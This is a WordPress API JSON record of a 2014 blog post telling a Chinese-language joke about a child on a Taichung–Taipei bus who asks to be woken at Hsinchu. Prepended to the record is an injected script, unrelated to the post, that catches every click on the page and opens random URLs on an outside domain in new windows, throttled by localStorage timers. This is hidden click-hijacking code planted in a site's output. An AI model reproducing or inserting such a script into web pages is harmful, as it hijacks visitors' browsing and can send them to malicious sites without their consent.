<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":389,"date":"2014-05-09T22:32:18","date_gmt":"2014-05-09T14:32:18","guid":{"rendered":"http:\/\/edu.secda.info\/phil999\/?p=389"},"modified":"2014-09-24T23:47:22","modified_gmt":"2014-09-24T15:47:22","slug":"%e6%80%a7%e6%a0%bc%e7%89%b9%e8%b3%aa","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/phil999\/?p=389","title":{"rendered":"\u5c0f\u670b\u53cb\u5750\u5df4\u58eb"},"content":{"rendered":"<p><span style=\"font-size: 14pt;\">\u5c0f\u670b\u53cb\u5750\u5df4\u58eb<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u67d0\u5929\u4e0a\u5348\u7d04 11 \u9ede, \u53f0\u4e2d\u5f80\u53f0\uf963\u7684\u53f0\u6c7d\u5df4<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u58eb, \u6709\u500b\u5c0f\u670b\u53cb\u4e00\u4e0a\uf902\u5c31\u5c0d\u53f8\u6a5f\u676f\u676f\uf96f\u5c0f\u670b\u53cb: &#8220;<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u53ef\uf967\u53ef\u4ee5\u5230\u65b0\u7af9\u6642\u53eb\u6211\u4e00\u4e0b&#8221;\u53f8\u6a5f\u676f\u676f: &#8220;\u597d\u7684&#8230;&#8221;<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5c0f\u670b\u53cb:&#8221; \u4e00\u5b9a\u8981\u53eb\u6211\u5594&#8230;..&#8221; \u53f8\u6a5f\u676f\u676f: &#8221; \u597d<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7684&#8230;&#8230;&#8221;\u5c0f\u670b\u53cb: &#8220;\u6211\u5abd\uf96f\u904e\u5230\u65b0\u7af9\u6642\u4e00\u5b9a\u8981\u53eb\u6211<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5594&#8230;..&#8221;\u53f8\u6a5f\u676f\u676f: &#8220;\u597d\u5566&#8230;&#8230;&#8221;\u63a5\u8457\u5c31\u958b\uf902\uf9ba&#8230;.<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \uf902\u4e0a\u5171 8 \u4eba, \u4e00\u53f8\u6a5f, \u4e00\u5c0f\u5b69, \uf9d1\u5927\u4eba&#8230;.<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u958b\u8457\u958b\u8457&#8230;.\u958b\u5230\u6843\u5712\uf9ba&#8230;.\u53f8\u6a5f\u60f3\u8d77\uf92d\u8981\u53eb\u5c0f\u670b<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u53cb&#8230;\u5fc3\u4e00\u9a5a&#8230;.\u5b8c\uf9ba..\u904e\u7ad9\uf9ba..\u773c\u770b\u5c0f\u670b\u53cb\u9084\u5728\u7761&#8230;<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u53f8\u6a5f\u676f\u676f\uf965\u8207\u5176\u5b83\u4e58\u5ba2\u5546\uf97e&#8230;\u5927\u5bb6\u90fd\u540c\u610f\u518d\u7e5e<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u56de\u53bb\u65b0\u7af9&#8230;\u6240\u4ee5\u9019\u73ed\uf902\u53c8\u82b1\uf9ba\u4e00\u500b\u591a\u5c0f\u6642\u56de\u65b0<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7af9&#8230;.\u800c\u4e14\u662f\u65b0\u7af9\u706b\uf902\u7ad9\u5594&#8230;..\u597d\uf967\u5bb9\uf9e0\u5230\u65b0\u7af9\uf902<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u7ad9, \u53f8\u6a5f\u676f\u676f\uf965\u6416\u6416\u719f\u7761\u7684\u5c0f\u670b\u53cb\u8d77\u5e8a\u4e0b\uf902<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \uf9ba&#8230;..<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5c0f\u670b\u53cb\u63c9\u63c9\u7761\u773c\u60fa\u5fea\u7684\u773c\u775b\uf965\uf96f&#8230;.&#8221;\u5594&#8230;.\u8b1d<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u8b1d&#8230;.&#8221;\uf965\u62ff\u51fa\u5305\u5305\u4e2d\u7684\u5c0f\uf965\u7576\uf95a\u81ea\u5403\uf9ba\u8d77\uf92d&#8230;..<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5168\uf902\u5176\u5b83\u4eba\uf965\u6ce8\u8996\u8457\u4ed6&#8230;.\u54a6? \u6c92\u6e96\u5099\u4e0b\uf902\u7684\u8de1<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u50cf\u54a7???\u53f8\u6a5f\u676f\u676f\uf965\u554f\uf9ba&#8230;.\u4f60\u9084\uf967\u8d95\u5feb\u4e0b\uf902 ???<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5c0f\u670b\u53cb: &#8221; \u6211\u6c92\u6709\u8981\u4e0b\uf902\u963f&#8230;.\u6211\u5abd\uf96f&#8230;\u6211\u5230\u65b0\u7af9<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5f8c\u624d\u80fd\u628a\uf965\u7576\u62ff\u51fa\uf92d\u5403&#8230;.&#8221;\u53f8\u6a5f\u676f\u676f: &#8220;\u54c7\u54e9<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u54a7&#8230;&#8230;&#8221;\u6b64\u6642\uf902\u4e0a\u5c0f\u670b\u53cb\u7368\u81ea\u6109\u5feb\u7684\u4eab\u53d7\uf965\u7576,<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u5176\u5b83\u4eba\u90fd\u63e1\u7dca\uf9ba\u62f3\u6bcd\u982d&#8230;..\u5f88\u60f3\u628a\u9019\u5c0f\u5b69\u6241\u4e0b<\/span><br \/>\n<span style=\"font-size: 14pt;\"> \u53bb&#8230;&#8230;<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5c0f\u670b\u53cb\u5750\u5df4\u58eb \u67d0\u5929\u4e0a\u5348\u7d04 11 \u9ede, \u53f0\u4e2d\u5f80\u53f0\uf963\u7684\u53f0\u6c7d\u5df4 \u58eb, \u6709\u500b\u5c0f\u670b\u53cb\u4e00\u4e0a\uf902\u5c31\u5c0d\u53f8\u6a5f\u676f\u676f\uf96f\u5c0f\u670b\u53cb: &#038;#8 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":""},"categories":[1,31,6],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts\/389"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=389"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions"}],"predecessor-version":[{"id":842,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions\/842"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/phil999\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}